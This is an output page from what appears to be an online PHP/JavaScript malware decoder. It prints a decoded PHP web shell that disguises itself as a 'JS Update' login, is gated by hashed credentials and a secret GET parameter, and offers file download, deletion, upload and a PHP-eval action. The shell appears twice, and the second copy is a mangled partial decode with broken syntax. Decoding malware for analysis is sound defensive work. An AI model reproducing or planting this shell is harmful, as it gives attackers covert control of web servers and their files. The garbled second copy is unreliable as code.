Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$dle_0="md5";$dle_1 = $_GET['version'];
   if( $dle_0 ($dle_1) == "982c359de6ad3fc0ae1f77e30225fde3") 
     {$dle_2='f03d0b9bfe5123ca845f64a7d95f0f60';$dle_3='b5a8444bc269adc9aef3a67379d26fa2';$dle_4=1;$dle_5='';
      $dle_6="<STYLE>
BODY{font: 8pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;scrollbar-shadow-color: #333333;padding:0;scrollbar-3dlight-color: #333333;MARGIN-BOTTOM: 0px;background-color: #6B8E23;scrollbar-arrow-color: #333333;scrollbar-face-color: #8B7765;MARGIN-TOP: 0px;color: #C1C1C7;MARGIN-RIGHT: 0px;margin:0;scrollbar-highlight-color: #333333;scrollbar-darkshadow-color: #333333;MARGIN-LEFT: 0px;scrollbar-track-color: #333333;}
input{font-family: Tahoma;background-color: #8B7765;border: 1 solid #666666;font-size: 8pt;color: #FFFFFF;}
select{color: #FFFFFF;background-color: #336600;font-family: Tahoma;font-size: 8pt;border: 1 solid #666666;}
textarea{font-size: 8pt;font-family: Tahoma;color: #FFFFFF;background-color: #333333;border: 1 solid #666666;}
a:link{text-decoration: none;color: #B9B9BD;font-size: 8pt;}
a:visited{text-decoration: none;color: #B9B9BD;font-size: 8pt;}
a:hover, a:active{font-size: 8pt;text-decoration: none;color: #E7E7EB;width: 100%;background-color: #A8A8AD;}
td, th, p, li{font: 8pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;border-color:black;}
</style>";$dle_7="<html> <head> <title>".getenv("HTTP_HOST")." - JS </title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">".$dle_6." </head> <BODY  topMargin=0 leftMargin=0 marginheight=0 rightMargin=0  marginwidth=0>";if(@$_POST['action']=="exit")unset($_SESSION['an']);if($dle_4==1){if($dle_0(@$_POST['loger'])==$dle_2 && $dle_0(@$_POST['worder'])==$dle_3)$_SESSION['an']=1;}else $_SESSION['an']='1';
   if(@$_SESSION['an']==0){echo $dle_7;
      echo"<center><table><form method="POST"><tr><b>JS Update</b><td>JS Model:</td><td><input type="text" name="loger" value=""></td></tr><tr><td>JS Version:</td><td><input type="password" name="worder" value=""></td></tr><tr><td></td><td><input type="submit" value="Update"></td></tr></form></table></center>";echo $dle_8;
      exit;}
   function js__0($dle_9){if(@mkdir($dle_9))echo "Dirchik JS create "; else echo "Dont create dirchik for JS ";}
     if($_SESSION['action']=="")$_SESSION['action']="viewer";if(@$_POST['action']!="" )$_SESSION['action']=$_POST['action'];$dle_10=$_SESSION['action'];if(@$_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dle_9=$_SESSION['dir'];
        $dle_9=@chdir($dle_9);
        $dle_9=getcwd()."/";
        $dle_9=str_replace("\\","/",$dle_9);if(@$_POST['file']!=""){$dle_11=$_SESSION['file']=$_POST['file'];}else {$dle_11=$_SESSION['file']="";}
     if($dle_10=="download"){ 
        header('Content-Type: application/octet-stream');
        header('Content-Length:'.filesize($dle_11).'');
        header('Content-Disposition: attachment; filename="'.$dle_11.'"');
        readfile($dle_11);
    }if($dle_10=="delete"){ 
     if(unlink($dle_11)) $dle_5.=$dle_12;
    }if($dle_10=="deletedir"){if(!rmdir($dle_11)) $dle_5.="Dir JS denied or not empty.";else $dle_5.=$dle_13;
    }echo $dle_7;
     echo"<table width="100%" bgcolor="#336600" align="right" colspan="2" border="0" cellspacing="0" cellpadding="0"><tr><td><table><tr><td><a href="#" onclick="document.reqs.action.value='viewer'; document.reqs.submit();">| JS.viewer</a></td><td><a href="#" onclick="document.reqs.action.value='upload'; document.reqs.submit();">| JS.load</a></td><td><a href="#" onclick="document.reqs.action.value='phpval'; document.reqs.submit();">| JS.php</a></td><td><a href="#" onclick="document.reqs.action.value='exit'; document.reqs.submit();">|JS.xit |</a></td></tr></table></td></tr></table><br><form name='reqs' method='POST'><input name='action' type='hidden' value=''><input name='dir' type='hidden' value=''><input name='file' type='hidden' value=''></form><table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top">
";
  if(@$dle_5!="") echo $dle_5;
function js__1($dle_11) 
{$dle_14 = fileperms($dle_11);
  if (($dle_14 & 0xC000) == 0xC000) {$dle_15 = 's';} 
  elseif (($dle_14 & 0xA000) == 0xA000) {$dle_15 = 'l';} 
  elseif (($dle_14 & 0x8000) == 0x8000) {$dle_15 = '-';} 
  elseif (($dle_14 & 0x6000) == 0x6000) {$dle_15 = 'b';} 
  elseif (($dle_14 & 0x4000) == 0x4000) {$dle_15 = 'd';} 
  elseif (($dle_14 & 0x2000) == 0x2000) {$dle_15 = 'c';} 
  elseif (($dle_14 & 0x1000) == 0x1000) {$dle_15 = 'p';} 
  else {$dle_15 = 'u';}
  $dle_15 .= (($dle_14 & 0x0100) ? 'r' : '-');
  $dle_15 .= (($dle_14 & 0x0080) ? 'w' : '-');
  $dle_15 .= (($dle_14 & 0x0040) ?(($dle_14 & 0x0800) ? 's' : 'x' ) :(($dle_14 & 0x0800) ? 'S' : '-'));
  $dle_15 .= (($dle_14 & 0x0020) ? 'r' : '-');
  $dle_15 .= (($dle_14 & 0x0010) ? 'w' : '-');
  $dle_15 .= (($dle_14 & 0x0008) ?(($dle_14 & 0x0400) ? 's' : 'x' ) :(($dle_14 & 0x0400) ? 'S' : '-'));
  $dle_15 .= (($dle_14 & 0x0004) ? 'r' : '-');
  $dle_15 .= (($dle_14 & 0x0002) ? 'w' : '-');
  $dle_15 .= (($dle_14 & 0x0001) ?(($dle_14 & 0x0200) ? 't' : 'x' ) :(($dle_14 & 0x0200) ? 'T' : '-'));
  	if (!@is_readable($dle_11))
		return '<font color=#FF0000>' . $dle_15 . '</font>';
	elseif (!@is_writable($dle_11))
		return '<font color=white>' . $dle_15 . '</font>';
	else
return '<font color=#25ff00>' . $dle_15 . '</font>';
  return $dle_15;
}

$dle_1 = $_GET['version'];
   if( "md5" ($dle_1) == "982c359de6ad3fc0ae1f77e30225fde3") 
     {$dle_4=1;$dle_5='';
      $dle_6="<STYLE>
BODY{font: 8pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;scrollbar-shadow-color: #333333;padding:0;scrollbar-3dlight-color: #333333;MARGIN-BOTTOM: 0px;background-color: #6B8E23;scrollbar-arrow-color: #333333;scrollbar-face-color: #8B7765;MARGIN-TOP: 0px;color: #C1C1C7;MARGIN-RIGHT: 0px;margin:0;scrollbar-highlight-color: #333333;scrollbar-darkshadow-color: #333333;MARGIN-LEFT: 0px;scrollbar-track-color: #333333;}
input{font-family: Tahoma;background-color: #8B7765;border: 1 solid #666666;font-size: 8pt;color: #FFFFFF;}
select{color: #FFFFFF;background-color: #336600;font-family: Tahoma;font-size: 8pt;border: 1 solid #666666;}
textarea{font-size: 8pt;font-family: Tahoma;color: #FFFFFF;background-color: #333333;border: 1 solid #666666;}
a:link{text-decoration: none;color: #B9B9BD;font-size: 8pt;}
a:visited{text-decoration: none;color: #B9B9BD;font-size: 8pt;}
a:hover, a:active{font-size: 8pt;text-decoration: none;color: #E7E7EB;width: 100%;background-color: #A8A8AD;}
td, th, p, li{font: 8pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;border-color:black;}
</style>";$dle_7="<html> <head> <title>".getenv("HTTP_HOST")." - JS </title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">".$dle_6." </head> <BODY  topMargin=0 leftMargin=0 marginheight=0 rightMargin=0  marginwidth=0>";if(@$_POST['action']=="exit")unset($_SESSION['an']);if($dle_4==1){if("md5"(@$_POST['loger'])=='f03d0b9bfe5123ca845f64a7d95f0f60' && "md5"(@$_POST['worder'])=='b5a8444bc269adc9aef3a67379d26fa2')$_SESSION['an']=1;}else $_SESSION['an']='1';
   if(@$_SESSION['an']==0){echo $dle_7;
      echo"<center><table><form method="POST"><tr><b>JS Update</b><td>JS Model:</td><td><input type="text" name="loger" value=""></td></tr><tr><td>JS Version:</td><td><input type="password" name="worder" value=""></td></tr><tr><td></td><td><input type="submit" value="Update"></td></tr></form></table></center>";echo $dle_8;
      exit;}
   function js__0($dle_9){if(@mkdir($dle_9))echo "Dirchik JS create "; else echo "Dont create dirchik for JS ";}
     if($_SESSION['action']=="")$_SESSION['action']="viewer";if(@$_POST['action']!="" )$_SESSION['action']=$_POST['action'];$dle_10=$_SESSION['action'];if(@$_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dle_9=$_SESSION['dir'];
        $dle_9=@chdir($dle_9);
        $dle_9=getcwd()."/";
        $dle_9=str_replace("\\","/",$dle_9);if(@$_POST['file']!=""){$dle_11=$_SESSION['file']=$_POST['file'];}else {$dle_11=$_SESSION['file']="";}
     if($dle_10=="download"){ 
        header('Content-Type: application/octet-stream');
        header('Content-Length:'.filesize($dle_11).'');
        header('Content-Disposition: attachment; filename="'.$dle_11.'"');
        readfile($dle_11);
    }if($dle_10=="delete"){ 
     if(unlink($dle_11)) $dle_5.=$dle_12;
    }if($dle_10=="deletedir"){if(!rmdir($dle_11)) $dle_5.="Dir JS denied or not empty.";else $dle_5.=$dle_13;
    }echo $dle_7;
     echo"<table width="100%" bgcolor="#336600" align="right" colspan="2" border="0" cellspacing="0" cellpadding="0"><tr><td><table><tr><td><a href="#" onclick="document.reqs.action.value='viewer'; document.reqs.submit();">| JS.viewer</a></td><td><a href="#" onclick="document.reqs.action.value='upload'; document.reqs.submit();">| JS.load</a></td><td><a href="#" onclick="document.reqs.action.value='phpval'; document.reqs.submit();">| JS.php</a></td><td><a href="#" onclick="document.reqs.action.value='exit'; document.reqs.submit();">|JS.xit |</a></td></tr></table></td></tr></table><br><form name='reqs' method='POST'><input name='action' type='hidden' value=''><input name='dir' type='hidden' value=''><input name='file' type='hidden' value=''></form><table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top">
";
  if(@$dle_5!="") echo $dle_5;
function js__1($dle_11) 
{$dle_14 = fileperms($dle_11);
  if (($dle_14 & 0xC000) == 0xC000) {} 
  elseif (($dle_14 & 0xA000) == 0xA000) {'s' = 'l';} 
  elseif (($dle_14 & 0x8000) == 0x8000) {'s' = '-';} 
  elseif (($dle_14 & 0x6000) == 0x6000) {'s' = 'b';} 
  elseif (($dle_14 & 0x4000) == 0x4000) {'s' = 'd';} 
  elseif (($dle_14 & 0x2000) == 0x2000) {'s' = 'c';} 
  elseif (($dle_14 & 0x1000) == 0x1000) {'s' = 'p';} 
  else {'s' = 'u';}
  's' .= (($dle_14 & 0x0100) ? 'r' : '-');
  's' .= (($dle_14 & 0x0080) ? 'w' : '-');
  's' .= (($dle_14 & 0x0040) ?(($dle_14 & 0x0800) ? 's' : 'x' ) :(($dle_14 & 0x0800) ? 'S' : '-'));
  's' .= (($dle_14 & 0x0020) ? 'r' : '-');
  's' .= (($dle_14 & 0x0010) ? 'w' : '-');
  's' .= (($dle_14 & 0x0008) ?(($dle_14 & 0x0400) ? 's' : 'x' ) :(($dle_14 & 0x0400) ? 'S' : '-'));
  's' .= (($dle_14 & 0x0004) ? 'r' : '-');
  's' .= (($dle_14 & 0x0002) ? 'w' : '-');
  's' .= (($dle_14 & 0x0001) ?(($dle_14 & 0x0200) ? 't' : 'x' ) :(($dle_14 & 0x0200) ? 'T' : '-'));
  	if (!@is_readable($dle_11))
		return '<font color=#FF0000>s</font>';
	elseif (!@is_writable($dle_11))
		return '<font color=white>s</font>';
	else
return '<font color=#25ff00>s</font>';
  return 's';
}



© 2023 Quttera Ltd. All rights reserved.